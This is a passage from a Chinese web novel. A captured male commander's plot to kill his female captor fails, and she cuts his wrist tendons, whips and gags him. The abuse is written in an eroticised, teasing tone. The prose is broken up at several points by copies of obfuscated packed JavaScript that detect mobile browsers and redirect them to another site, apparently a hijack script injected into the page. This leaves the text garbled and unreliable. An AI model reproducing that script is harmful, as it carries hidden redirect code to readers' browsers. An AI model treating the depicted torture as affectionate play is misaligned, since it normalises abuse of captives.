嬴芜荼即使感到绝望,但也不会放弃反抗。 其实他现在对五殿下动了杀心,尽管现在身上到处都是伤,但五殿下瘦弱不经风吹,只要立刻动手…… 可是五殿下是她叫来的,杀了五殿下容易,却没法处理尸体,他现在没有力气背起一具尸体。 当初坏女人想看自相残杀,他宁可回去被折磨也不肯做,可现在是真的失望了。 “异想天开,你肯定做不成的,你和姜姐姐打了半年,最后不也是输了?你是打不过女人的,但是呢……”嬴小舞想起什么,他从怀中取出一颗药丸,说:“只要你吃了这个,以后不跟我争宠,我就可以保证不出卖你。” 嬴芜荼大受屈辱,比被姜守烛剥光了验身还要屈辱。 他从来都没想过争宠! 他一心只有复仇而已,虽说姜守烛是个特别的女人……但她就是仇人! “好。”嬴芜荼想都不想,将黑色小药丸接过去就吞了。 “还真敢啊?这下姜姐姐永远都不会宠爱你喽,这可是我秘制的萎药,你永远都硬不起来喽,你啊,就自作自受吧!”嬴小舞将自己的银簪收起来,嫌弃地看了一眼嬴芜荼,他转身就想下马车…… “等等!”嬴芜荼拽住了他,“我还有一件事,我来那个了,能不能……” 嬴小舞脸上刻薄的神色缓和了几分,不耐烦道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14111740|148095||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' :“知道了,等着,我给你拿去,真是麻烦。” 嬴小舞真是懒得管这个异想天开的贱货,但是呢,看在他被打得这么惨的份上,再看在他以后永远都无法争宠的份上,就大发善心一次吧。 嬴小舞回到自己的马车,他一边在箱子找东西,一边感到心酸。 还是姜姐姐的马车好,又暖又热,真想待在她的马车里啊。 等他拿到东西,重新回去时,正好路过了关押母皇的马车,风吹起马车帘子的一角,他看到母皇又在喝茶下棋。 他移开视线,低头看着手里团成一团的东西。 身为男子,嫁谁不是嫁呢? 若非姜姐姐打过来,母皇本打算将自己嫁给一个偏远小国联姻的,那偏远小国的国君是个六十岁的老太。 当得知那小国被姜姐姐去年扫平时,他简直高兴得要蹦起来。 所以,缠着她,就是在这无法选择的命运浪潮中,最好抓住的一根救命稻草了。 嬴小舞将东西丢到嬴芜荼的面前,刚准备走,就看到姜姐姐从不远处走过来,他脸上的忧愁顿时一扫而空,他蹦蹦跳跳跑过去,仰着头笑盈盈道:“姜姐姐,你交代的事我都办好了,你的马车好热闹,能不能让我也加入其中呀?” “送五殿下回去。”姜守烛拒绝道。 嬴小舞瘪着嘴,他一步三回头地走了。 尽管心里失落,但他也什么都没再说。 直到姜姐姐的身影进了马车,嬴小舞才不回头了,他安慰自己道:“早晚姜姐姐会发现我的好的。” 至于那贱人…… 嬴小舞倒不想出卖,反正那贱人很快就要被厌弃了。 23.报仇雪恨 姜守烛钻进马车,见到嬴芜荼面色如常地缩在马车角落里,仿佛什么都没发生过。 小兔子还挺会装的。 姜守烛给自己倒了杯茶。 马车继续前行。 车内除了时不时的倒茶声,再无任何声响。 也是有的。 嬴芜荼的心在砰砰跳。 在姜守烛上车之前,他听到五殿下在车下的说话声了,可是五殿下是个糊涂人,也不知道有没有被五殿下出卖。 “你就没什么要跟我说的吗?”姜守烛故意逗他道。 “说……说什么?”嬴芜荼的舌尖在嘴里滚了个滚,刚才吃下那药的苦味还萦绕在舌尖,难道还是被五殿下出卖了吗? “自己想。”姜守烛语焉不详道。 “说……谢谢你,让五殿下帮我。”嬴芜荼想到了借口,他感觉坏女人已经怀疑了。 可如果五殿下真的告密,以坏女人的性子,怕不是一回马车就发作了,应该不会等到现在吧…… “行吧。”姜守烛不再继续说下去。 马车里又恢复了安静。 嬴芜荼的心七上八下的。 马车行进到天黑,今晚雪大,停下休整。 夜里,姜守烛躺在软榻上睡觉,嬴芜荼缩在地板上裹着被子。 眼下子时刚过,嬴芜荼小心地挪到床边,他看到坏女人闭着眼睛,呼吸均匀,看起来是真的睡着了。 只能赌一把了。 再耽搁下去,怕是后面的路程更没有机会了。 嬴芜荼养了四日的伤,皮外伤都好得差不多了,脸上的巴掌印也消了,也就剩下胸口的刀伤,和手掌的箭伤,还有断指在疼着。 他的手搭在马车车门上,小心翼翼地推开一条缝隙…… 呼啸的寒风吹进来,吓得嬴芜荼赶紧又将车门关上,他回过头去看床上的人。 她并未醒。 她是不是在装睡? 坏女人行军打仗多年,怎么可能睡得这么死? 嬴芜荼又缩回马车角落,他心里犹豫着。 但是等了一炷香的时间,坏女人也还是睡着。 刚才是不是大惊小怪了? 果然不能公公爹爹的,还是要当机立行! 于是嬴芜荼又一次推开马车车门,看到外面并没有把守的人,那个妍副将和车妇估计都去睡觉了吧。 周边除了支起的一个个营帐之外,竟然没有一个士兵。 嬴芜荼小心地跳下马车,他挪着沉重的身子在雪地里走,积雪下了半夜,已经是厚厚一层。 他穿着单薄的鞋子,这还是五殿下的鞋子,很快鞋子里就灌了雪,冻得脚腕冰凉。 他本就来着月事,脚下一冷,小腹也跟着疼,他顾不上这些,在雪地里深一脚浅一脚地走着。 才走出十来步,远处有两个女人快步跑过来。 正是和他偷偷联系的人。 “主将,你怎么……这副男子打扮?” 残兵的手里还拎着一口小箱子,但她们见到来人,立刻防备起来,甚至还抽出了匕首。 嬴芜荼的心里一凉,但左右也不会比身上更凉。 “来不及跟你们解释了,火药给我,这是杀姜守烛唯一的机会。”嬴芜荼伸出伤痕累累的手。 两名残兵互相看了看,疑惑道:“主将,你当真……” “别耽误时间了,快给我!”嬴芜荼跑出来太久了,他害怕会被发现。 两名残兵最后还是将这口箱子放在了雪地上。 “你们也快逃命去吧。”嬴芜荼话不多说,拎起小箱子转身就走了。 嬴芜荼感觉箱子里轻飘飘的,比他想象的火药还要轻一些。 估计是火药不多吧。 但是没关系,马车空间小,只要引燃火药,姜守烛无路可逃,结局肯定是会被炸死。 至于他自己,当然也是要和敌人同归于尽的。 毕竟本来也逃不了。 嬴芜荼拎着小箱子回到马车,看到坏女人还没醒。 太好了。 简直连老天都在相助。 嬴芜荼搓了搓冻得发红的手掌,他再将手靠近炭盆,烤了烤。 这样就好多了。 他没有火源,但马车里有炭盆,可以用燃烧的炭点燃火药。 可是…… 嬴芜荼犯了难,他竟然拎不起来炭盆上的铜罩子。 这也太奇怪了。 就算手受伤了,也不至于连这点力气都没有。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14136853|148095||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 嬴芜荼借着火光找了一圈,发现是铜罩子底下有把小锁,竟然给锁上了。 什么时候锁的? 他一直都在马车里,竟然都没注意到过。 这个坏女人早有防备吗? 不过还好,他会撬锁…… 他左右找了找。 发现那根银簪不见了。 是被五殿下拿走了吗? 嬴芜荼不愿气馁,明明火药都拿到了,难道还要再下车一次,去找火源吗? 马车外就有燃烧的火炬,拿火把进来也不难。 对了,坏女人有火折子,他白天见过。 很快,嬴芜荼在小柜子里找到了火折子,他刚打开火折子的盖子,吹燃火苗…… 姜守烛睁开了双眼。 她觉得,也该是自己醒来的时候了。 “大晚上这又是哪一出戏?”姜守烛坐起来,笑着看向他。 嬴芜荼冷笑一声,眼神里有着无尽的凌厉,仿佛他是什么地狱里掌管世间万物生死的判官:“姜守烛!今夜就是你的死期!” “噢,这么厉害啊。”姜守烛兴致大起,就当是哄小男人玩了。 “你以为我在开玩笑?姜守烛,你杀我族人,今夜,我就要为所有人报仇雪恨!” 嬴芜荼其实还有满腹的委屈要说,他恨坏女人欺负自己,但来不及审判坏女人了,毕竟坏女人身手那么好,万一被抢走火折子,就再也没有机会杀她了,但是没关系,他会和坏女人一起上路,黄泉路上一起同行,有话,等下去再说也不迟。 嬴芜荼义正言辞说完,一把掀开了箱子。 “一起上路吧!” 话音落了,但是嬴芜荼没有将火折子丢进箱子。 他的动作止住了。 因为……他看傻眼了。 这箱子里的,哪里是什么火药? 箱子里的是一截一截的各式鞭子,还有锁链。 火折子还在猎猎燃烧,而嬴芜荼的心却如死灰。 “哈哈哈哈……”姜守烛忍不住笑,她将火折子抢回来,轻轻吹灭,再看向那只已经石化的小兔子,眼神带着笑意,语气带着玩味,邀请道:“小兔子又不听话,那就自己选一个吧,长夜漫漫,正好和你,慢慢体会。” 24.三鞭子 马车里寂静无声,除了还在燃烧的木炭。 嬴芜荼连呼吸都屏住了。 为什么! 为什么火药会被换成刑具? 是被五殿下出卖了吗? “没选好?那我来帮你选一个吧……”姜守烛的手却没有伸进箱子里,而是从袖中拿出一柄短剑。 正是嬴芜荼的那把佩剑,他当然认识。 嬴芜荼决绝地闭上眼,他知道今晚就要命绝于此了。 果然,今晚事情败露,坏女人肯定不会再留自己活口了。 可是姐妹们怎么办? 他甚至还想开口替那些姐妹们求情,他还想知道那两个送火药的亲卫是否还活着…… 这些都来不及想。 因为姜守烛一把抓住嬴芜荼的两只手腕,手起刀落,十分利落。 只听得“唰唰”两声,是刀刃划破的风声。 随即就是血滴在马车地板上的声音。 “果然是好刀,够锋利。”姜守烛心满意足地夸赞道。 更快的是姜守烛的身手,而最慢的是嬴芜荼的后知后觉。 他不可置信地看着自己的手腕。 姜守烛已经放开了手。 嬴芜荼的双手无力地垂了下去,他也低头看下去…… 他的手筋被挑断了,血流得不多,但他却连尝试握拳都握不紧…… “啊——” 嬴芜荼的这声惨叫来得实在太迟了,因为他半天才反应过来。 尽管来得迟,可其中的痛苦丝毫不减,不光是身体的疼痛,还有心神的剧痛。 以至于妍副将还以为马车里发生了什么事,甚至还敲了敲马车的门询问。 姜守烛漫不经心对外面说:“没事,只是有小兔子做了个噩梦而已。”说完再看向像是被抽干了灵魂的嬴芜荼,笑道:“这不过是给你的一点小惩罚,你啊,还真是自作自受,我本来不想挑你手筋的,但你几次三番对我动杀心,实在不得不教训你一下,你也不用太过伤心,以后吃饭时要是握不住筷子,我开恩允许你用勺子吃。” “姜!守!烛!” 火光的映照下,嬴芜荼一字一顿,咬牙切齿念着她,仿佛要将她生吃了。 “好啦,小游戏做完了,该从你带来的箱子里挑选新玩具了。”姜守烛却丝毫不在意,她用帕子仔细地将剑上的血擦干净,再收剑回鞘。 她不禁再次感叹。 这可真是一柄好剑啊。 嬴芜荼不挑,也不说话,他还在盯着自己的手腕发愣。 这双手,是他写字的手,他男扮女装上学,读书识字,从书中认识到广阔天地大有作为。 这双手,是他提剑的手,他男扮女装参军,刻苦训练,从习武中认识到自己不是弱不禁风的小男子。 可如今。 这双手,就这样轻易被她废掉了。 软绵无力,连五指都握不紧,更别提拿笔提剑了。 “怎么不挑?都没有喜欢的吗?这不是你带来的吗,小男人真是麻烦,这样吧,你自己挑呢,我就抽一鞭子,如果是我挑呢,那就抽三鞭子,你自己选。” 马车还在辘辘前行,借着火光,姜守烛心满意足地欣赏着小兔子的表情。 曾经在战场上,见到小兔子骑在高头大马上挥斥方遒,每当她中计时,他都会笑得眉眼弯弯。 此刻,看着当初那般自信张扬的小兔子,变得如此……万念俱灰。 姜守烛觉得她不光打赢了这场仗,她还打赢了这个人。 真可惜,是用这种简单的暴力方式。 她本不想这么粗|鲁的。 但小兔子实在是太不听话了。 完全怪不得她。 “还没挑好?那就我来挑吧……”姜守烛的手指在箱子里一众鞭子上一一滑过,最后停在了一根不粗不细的上面,她拿起来弯了弯,试了试柔软度,觉得还算趁手,再看向小兔子,浅笑道:“如果你不脱,衣服打烂了就没得穿了,五皇子那衣服都金贵的很,要一身衣服跟要他命根子一样,这身烂了你以后就光着,所以脱不脱,看你自己选。” 嬴芜荼的眸子里没有一丝一毫的色彩,他绵软无力的手摸上衣带,他想试试自己是否还有解开衣带的力气…… 真不巧,还有。 衣带被拽开了。 锦缎材质的衣衫从肩头滑落,缩在马车角落的人往前挪了一步,他微仰着头,眼神虚无只看向那还在燃烧的木炭,他闭上眼,眼角流下两行清泪,语气颤|抖地说:“你杀了我吧。” 姜守烛的手都扬起来了,但又放下了,她说:“你想死,我不拦着,如果你想今晚被活活打死,我也可以成全你,但你要想好了,如果你死了,我就可以省下一千人的口粮了。” “姜守烛!”嬴芜荼又睁开眼睛,他的眼神里依旧没有色彩,但仍旧充满怒火,他几乎是吼出声:“你除了拿这个威胁我,你还会做什么!” “啪”的一声,一鞭子狠狠抽下去。 甚至是抽在了嬴芜荼的左胸口,正好打在那个“姜”字上。 这一下,姜守烛用了力气,以至于一下就打得嬴芜荼皮开肉绽。 “我不光会威胁你,还会打你,还可以睡你,我想对你做什么就对你做什么,谁让你是我的战利品呢?” 姜守烛用帕子擦了擦鞭子上的血,防止抽下一鞭时,有血飞溅起来,她的床可是刚重新换了被子,她不想半夜再折腾。 嬴芜荼疼得歪头倒在地板上,今夜彻底领教了坏女人有多心狠手辣。 “爬起来。”姜守烛放下帕子,命令道。 嬴芜荼疼得直抽冷气,漂亮俊秀的五官都拧到了一起去,他用手腕撑着地,试着爬起来,刚坐起来还没坐直…… 第二鞭抽来,鞭痕在他的前胸画了一个叉。 他又一次倒在地板上。 “啊……哈……”嬴芜荼喘得更厉害了,血顺着前胸往下流淌,没有脱掉的裤子也被血染湿了。 “你自己说,你是不是自作自受?如果你乖乖听话,现在的你可以裹着棉被,守着火炉,在我的马车里好好睡觉休息,可你偏偏不听话,非要呲牙咬人,以至于落得现在的境地,所以,这是不是都怪你自己?”姜守烛又继续用帕子擦鞭子,她的动作轻松,语气轻快,仿佛是在擦拭宝剑。 嬴芜荼疼得说不出话,他现在竟然觉得坏女人的话有几分道理。 甚至觉得,如果今晚不下车去拿火药,就可以舒舒服服睡到天亮,等明日天亮,坏女人应该还会给自己一杯又热又甜的牛乳喝。 他在自家军中,都喝不到珍贵的牛乳。 “还有一鞭,缓好了吗?缓好了就爬起来,或者……”姜守烛拉长了尾音,她的语气带着几分杀意,“或者如果你真想求死,那我就直接打死你,你自己选吧,我可没强迫你。” 嬴芜荼浑身|上下的伤一齐疼了起来,连心神也在遭受着巨大的折磨,他不想这么疼下去了,还被坏女人羞辱,现在又被挑了手筋,彻底连念想都断了,如果苟活下去,将来还会受到更多的屈辱和折磨,他真想一死了之。 可是……还有那么多人质在她手里。 那剩下的一千姐妹都并不想死…… 已经带着姐妹们打了败仗,沦为俘虏,如今姐妹们的生死,都在他的一念之间。 嬴芜荼咬着下唇,他这回用手肘撑着地,这回坐起来的动作比上回慢了太多。 姜守烛的手重新高高扬起,她一鞭比一鞭重,这第三鞭,手举得更高了…… “能不能……轻点……” 还不等第三鞭落下,嬴芜荼开口求饶道。 坏女人的心那么黑,手那么重,打了两鞭就已经流了那么多血,如今手又举得那么高,真怕被三鞭子直接抽死。 嬴芜荼是想一死解脱,但姐妹们不能陪葬。 他打输了仗,受坏女人折磨也是罪有应得,可是姐妹们还有活下去的机会,那他就不能放弃。 “呵……”姜守烛的手放下,她没想到会打得小兔子求饶,这鞭子打人有那么疼吗?她不过是抡圆了手臂,用尽了力气,但她不觉得三鞭子会把人直接抽死,“怎么突然转性了?刚才不还倔强得很?还想要我杀了你吗?” “别杀她们……”嬴芜荼继续求饶,他现在身子都绷紧了,因为坏女人还有一鞭子没抽完呢。 “那你后不后悔?”姜守烛问道。 后悔什么? 后悔白天跟五殿下商议却被出卖吗? 还是后悔今晚下马车 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14137362|148095||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 去取火药吗? 还是后悔刚才没有自己选鞭子,那样就可以少挨两下了。 嬴芜荼不知道怎么回答,他深吸了一口气,闭上眼,声音哑得更厉害了。 “打……打吧。”他准备好挨第三鞭了。 马车里却重新恢复了寂静,仿佛车里只有还在燃烧的炭火,没有其她人。 嬴芜荼在等待鞭子落下来,他的心神和身体都高度紧张,但迟迟都没有鞭子落下来。 等待折磨的降临,实在是更大的折磨,他要崩溃了,他等不下去了。 他慢慢睁开一只眼…… 刚要偷看。 第三鞭破风而来。 “啊——” 第三鞭打在背上,抽得嬴芜荼趴在地板上,前胸的伤正好剐蹭到了,疼得他几乎昏迷过去。 姜守烛就是故意的,她一直看着小兔子紧张等待的神情,她今晚等小兔子动手等了那么久,也该让小兔子尝尝等待的煎熬滋味。 直到小兔子等不了了,她才会落下最后的审判。 “好了,今晚的三鞭结束,明晚还有,自己记着,天快亮了,不许吵我睡觉。”姜守烛将鞭子上的血擦干净,丢进箱子里,吩咐道:“把箱子关上放好,明晚还要用。” 然后姜守烛就倒头睡下了。 姜守烛睡不着。 因为嬴芜荼一直在抽气呻|吟。 他还躺在地板上,前胸有伤,后背也有伤,他想坐起来,但却疼得爬都爬不起来。 坏女人,心狠手辣的坏女人,竟然下这么重的毒手。 第三鞭要是不求饶的话,怕不是真的会被疼死。 “闭嘴!”姜守烛坐起来,她脸色愠怒地看着床下那个人。 见小兔子一副小可怜的样子,趴也不是,躺也不是,翻身也翻不了,只能半躺不躺的待在地板上,一双眸子里噙满了泪水,下唇已经被兔牙咬出了血洞。 从被咬穿的唇就能看出,嬴芜荼已经极力忍耐了,但他实在太疼了。 “呜……”嬴芜荼呜咽一声,他缩了缩,但呻|吟声还是不止。 “再敢哼哼就继续抽你,抽到你不哼哼为止。”姜守烛威胁道。 “别……别打了,要不你把我打昏吧。”嬴芜荼实在没办法,他刚才甚至想一拳把自己脑袋打晕,这样就感觉不到疼了,至少能暂缓疼痛,可他的手绵软无力,更别提一拳打昏自己了。 “自己塞住!”姜守烛拿出另一方手帕,那是她自己的帕子,将帕子丢到嬴芜荼的脸上,没好气道:“再敢有呻|吟声漏出来,就继续抽你。” 帕子落到嬴芜荼的脸上,他的手抬起来,可是手指一点力气都没有,连用手指捻起帕子的动作都做不到…… 他不想再被打了,今晚再挨打就要被打死了。 嬴芜荼只能用唇瓣一点一点去咬帕子,试图将帕子都“吃”进嘴里,可是他的唇瓣也不是很灵活,吃了半天也才吃掉帕子的一个小角,反而是越心急越出乱,以至于吃得哼唧声更响了。 姜守烛彻底烦了,她刚坐起来,准备继续揍人,就看到…… 小兔子的红唇一动一动,在吃帕子…… 姜守烛被气笑了,说他是兔子,还真是兔子啊。 嬴芜荼本来正努力塞住嘴巴,见坏女人又一脸怒气地坐起来,他赶紧解释,但可惜嘴里已经有一角帕子,说话还含糊不清:“我没叫……别……求你……” 姜守烛见他这副可怜模样,觉得这样的小兔子可爱多了,她一弯腰,大发善心将剩下的帕子团成团,直接粗|暴地塞进小兔子的嘴里。 嬴芜荼还十分配合地张嘴,他也不想叫出声,也不想再被打。 现在他的嘴里塞得满满当当的,虽然不再呼痛哼唧了,但是不代表不疼了,他的眼泪还在顺着脸颊往下流,身子还在不断发|抖,他睁着一双湿漉漉的眼睛仰望着她,小心翼翼地看着她。 生怕她对此举还不满意。 “你啊,早这么听话不就好了?真是自作自受。”姜守烛拍了拍手,大功告成,倒头又躺回去。 这回耳边清静多了,终于没有人呼痛哼唧了,也可以安稳睡觉了。 果然啊,不听话的小兔子就得狠狠教训。 这不,多有成效。 25.二选一 天很快就亮了。 马车也停了。 姜守烛坐起来伸了个懒腰,看向马车地板。 嬴芜荼已经穿好了衣服,裹着那条被子,抱着膝盖坐在马车角落,前半夜用来堵住嘴的帕子现在叠得整整齐齐,就放在他身边的地板上。 嬴芜荼听到声音睁开眼,但他只看了一眼就又低下头,只盯着地板上的那方帕子。 马车门被推开,一份早饭和洗漱用的水被放进来,随即马车门又被关上。 嬴芜荼偷偷去看,看到早饭的木托盘里有多出来的一个杯子。 不知道坏女人会不会给自己喝。 又在想,昨天就是近卫在杯子下面粘了字条,那今天还会有吗? 她们是否被抓?是否还活着? 姜守烛看到小兔子的眼神了,她一边慢悠悠吃着早饭,一边漫不经心地问:“又再琢磨坏事了?是不是在想,今天又有谁给你传递消息,让你计划杀我?” 嬴芜荼听完,他将自己缩得更小一些,身上的伤又再疼了。 坏女人心狠手黑,这伤估计十天半个月都好不了。 “不说话?那就玩个游戏吧,这两个杯子下,各压了一张字条,一张是惩罚,一张是奖励,选左选右?”姜守烛指着桌上的两杯牛乳,语气玩味道。 “什么奖励?”嬴芜荼先问道,昨夜他被挑了手筋,眼神万念俱灰,如今听到奖励,眼神里又充满希望,几乎都要冒星星了。 “你希望是什么奖励?”姜守烛认为逗他就是最有意思的事。 “可以放了我吗?”嬴芜荼最希望的就是这个,既然坏女人问了,他直接脱口而出。 姜守烛停顿一下,随即笑了,她放下正在吃饼的手,还拍了拍手上的饼渣,然后朝小兔子招招手。 嬴芜荼往前挪了两步,来到她的面前,不知道她意欲何为。 姜守烛一把捏住小兔子的耳朵,扭到面前来,对着他被扭红的耳朵,笑道:“我是不是给你好脸色太多了?” 嬴芜荼“啊啊啊”的叫了好几声,赶紧求饶道:“不敢了不敢了。” 姜守烛这才放开手。 嬴芜荼连忙用手捂住被扭红的耳朵,他的手指虽然没有力气,但是用手掌揉揉耳朵的力气还是有的,他委屈地抿着唇,小小声地嘟哝着:“不是你自己问的吗……” 为什么突然又打人。 可是他又不敢有异议,落在坏女人手里,不就是她想打就打? 根本不需要理由。 “嘟哝什么?”姜守烛其实听到了,但并不用追究,她继续说:“快点选,我耐心有限。” 嬴芜荼的右手还捂着耳朵,左手在面前的两个杯子上指来指去,游移不定。 他甚至担心,两个杯子下的字条都是惩罚。 毕竟坏女人也不是第一次出尔反尔了,惨死的姚副将他还记着呢。 “快点!”姜守烛已经吃完了饼。 “左边,不……还是右,不不,还是左吧。”嬴芜荼只能赌一把了。 赌自己能压到奖励,也赌坏女人没有两张字条全写的是惩罚。 姜守烛挪开左边的杯子,打开字条,她笑了一声,将杯子放在地板上,再将字条也丢下去。 嬴芜荼先是去捡字条,可是有字的面扣在了下面,他的手指捻不起来,他用指甲掀开一角翻过去,看到了字条上的字——伤药。 “是奖励!”嬴芜荼的眼睛亮晶晶的望着她,他不禁感叹自己真是足够幸运,他还伸出手去讨要。 姜守烛的视线看着那只手,手指无力地自然弯曲着,手腕上的伤已经结痂了,再顺着手臂看向那张脸,见小兔子一脸兴奋。 这傻子怎么偶尔狡诈,又偶尔单纯? 昨夜三鞭子把他打得半死,那伤重得都不能自己愈合,现在给点伤药,就又高兴起来了? 真不知道哪里来的高兴劲?是因为赌注猜对了吗? 姜守烛指了一下桌子下的小柜子,“自己拿。” 嬴芜荼用力点了两下头,他的肚子也咕咕叫了两声。 还是先把牛乳趁热喝了才好,毕竟还来着月事呢,再不吃点东西一会儿就该晕倒了。 可是他的手指握不住杯子,便用两只手的手掌捧起杯子,动作像是讨食的小狗,他小口小口将一整杯牛乳喝尽了。 这回肚子里舒服多了。 嬴芜荼从柜子里拿出伤药,再小心地脱下衣裳,低头看着前胸的两道鞭伤。 嬴芜荼叹了口气。 一夜过去,这鞭伤还是很重,有的地方还在流血,甚至都不能结痂,要是能缝两针就好了,可惜坏女人今晚还要再打,缝了估计也没用。 嬴芜荼用无力的手指蘸着药膏小心地给自己涂药。 姜守烛就这么看着他涂药。 这副惜命的样子,和昨夜求死的样子简直判若两人。 嬴芜荼感觉头顶有道虎视眈眈的目光,他抬头去看,又赶紧低下头。 “看我干什么?”姜守烛问。 明明是姜守烛先盯着人看的,她一点都不讲道理。 “我……我……”嬴芜荼犹豫一下,借口道:“我想知道,那张惩罚是什么?” 姜守烛正好喝完了杯子里的最后一口牛乳,她将杯底压在折起来的字条上,她的眼神里带着宠溺的笑。 “是三个耳光。” 嬴芜荼一下打了个哆嗦。 三个耳光! 坏女人手那么黑,昨夜三鞭子差点被活活打死,之前那一耳光都打得眼冒金星,要是现在再挨三个耳光……怕不是会被打聋。 还好运气足够好,二选一选中了奖励,而不是惩罚。 要不然现在只会更惨。 嬴芜荼甚至在想,如果明天还玩这个游戏的话,他想着宁可饿上一天,也不想冒着五成的风险被打聋。 姜守烛将他的小动作都看在眼里,真是可爱啊。 其实她那个杯子下的字条里并未写着三个耳光 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14149805|148095||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,而是和嬴芜荼选的那张一样,都是——伤药。 但她偏偏就不告诉小兔子。 毕竟给小兔子一分好脸色,他就要蹬鼻子上脸。 而且……逗弄他,真是太好玩了。 嬴芜荼在那边哼哼唧唧地给前胸的两道鞭伤上完药,他想着后背的那道鞭伤,他够不到,但坏女人好不容易允许涂药,他真的很想都涂上。 坏女人的伤药比他之前用过的伤药都要好。 涂上不光止血,还能止痛。 他犹豫半天,不敢开口。 但又想着坏女人此刻好像心情不错的样子。 姜守烛装模作样在那看书,马车又再前行,随着马车颠簸,地上那个人还在微微摇晃。 “又看我干什么?”姜守烛放下书,问他。 嬴芜荼一咬牙,既然坏女人主动问了,他便鼓起一点勇气,求助道:“能不能帮我涂一下后背的伤……鞭伤太严重了,如果不涂药可能会发炎发热,我可能会死掉,我要是死了,你就没得玩了不是吗。” 他还给自己找了借口,试图说服坏女人。 “还敢指使我?给你脸了?过来!”姜守烛的语气不冷不热,让人看不出情绪,她又招了招手。 她装的,她就知道小兔子是要说这话,果然又被她猜到了,她只觉得有趣和可爱,其实并未生气。 “呜……”嬴芜荼又捂住了刚才被扭红的耳朵,他委屈又后悔,不情不愿地往前挪了两步,将另一只耳朵送到她的手边。 等待扭耳朵的惩罚再次降临。 坏女人……坏女人……明明是你先问的……不答应就不答应嘛……干嘛又欺负人…… 嬴芜荼紧紧闭着眼,他衣服还没穿,还能看到胸膛上的肌|肤在剧烈起伏,因为心在砰砰跳。 姜守烛微微俯身,她欣赏着小兔子这副瑟瑟发|抖的神情,直到欣赏够了,才在小兔子的耳边轻声说:“滚。” 嬴芜荼一下睁开眼睛,连心都漏跳一拍,他抬起头,不可置信地望着坏女人。 见坏女人又再看书了。 嬴芜荼得了便宜赶紧挪回马车角落里,手忙脚乱地穿上衣服。 他不禁心里窃喜,刚才只是被坏女人骂了一句,并未被扭耳朵! 没被她打呢! 好耶好耶! 嬴芜荼抱着膝盖乖乖坐着,随着马车辘辘前行,他的身子还时不时摇晃一下。 姜守烛装模作样将书翻过一页。 嬴芜荼也揉一下刚才被扭痛的耳朵,他不光揉被扭的耳朵,还揉另一边没有被扭的耳朵。 奇怪的是,没被她扭的那边耳朵也一样红了。 那边耳朵只是被她骂一个“滚”字而已,为什么变红了? 难道是马车里的炭火烧得太热了? 姜守烛用眼角余光去看他,却见小兔子一边揉耳朵一边在偷笑。 不知道他在笑什么? 是不是她昨晚下手太重给人打傻了? 26.打错了 夜色降临。 今晚的雪下得不大,所以彻夜继续前进。 天色才一擦黑,马车里就点上烛火。 嬴芜荼脑袋朝里,缩在马车角落,将自己缩成一团。 假装自己不在。 因为他还记得坏女人昨晚说的话。 他一边缩着,还一边悄悄祈祷,祈祷坏女人忘记昨晚的话。 忘了吧……忘了吧…… “是不是忘了点什么?”姜守烛对着马车角落那一团笑着说道。 嬴芜荼不说话,假装自己睡着了。 姜守烛用鞋尖轻轻踢了踢他的屁股,命令道:“自己把箱子打开。” 嬴芜荼都被点名了,他没办法再装下去了,只得抬起头也转过身,慢慢吞吞将角落里的箱子推出来。 可惜,尽管动作再慢,也总有拿出来的时候。 “今晚是自己选,还是我来选?”姜守烛问道。 “我选我选……”嬴芜荼昨夜就后悔来着,坏女人手那么黑,今晚要是再挨三鞭子,怕不是要被打咽气,反正现在一逃不掉,二又杀不了她,和她对着干没有好处,不如就先顺着她,这样也能少挨两鞭子。 “今晚倒是乖顺了些。”姜守烛更加确定的一点是,这小兔子不听话就得打。 “这个吧。”嬴芜荼挑了箱子里最细的一根,双手奉到她的手边来。 姜守烛笑了,她接过来,弯了弯这根最细的鞭子,试了下柔软度,没急着动手,却见小兔子很是自觉地脱下上衣。 “知道这根鞭子是用来打哪里的吗?”姜守烛问他。 嬴芜荼摇摇头。 他心里想着,坏女人又要用什么新奇的手段? 都落到她的手里了,难道不是想打哪就打哪吗? “这根是用来打那里的。”姜守烛的眼神也看了下去。 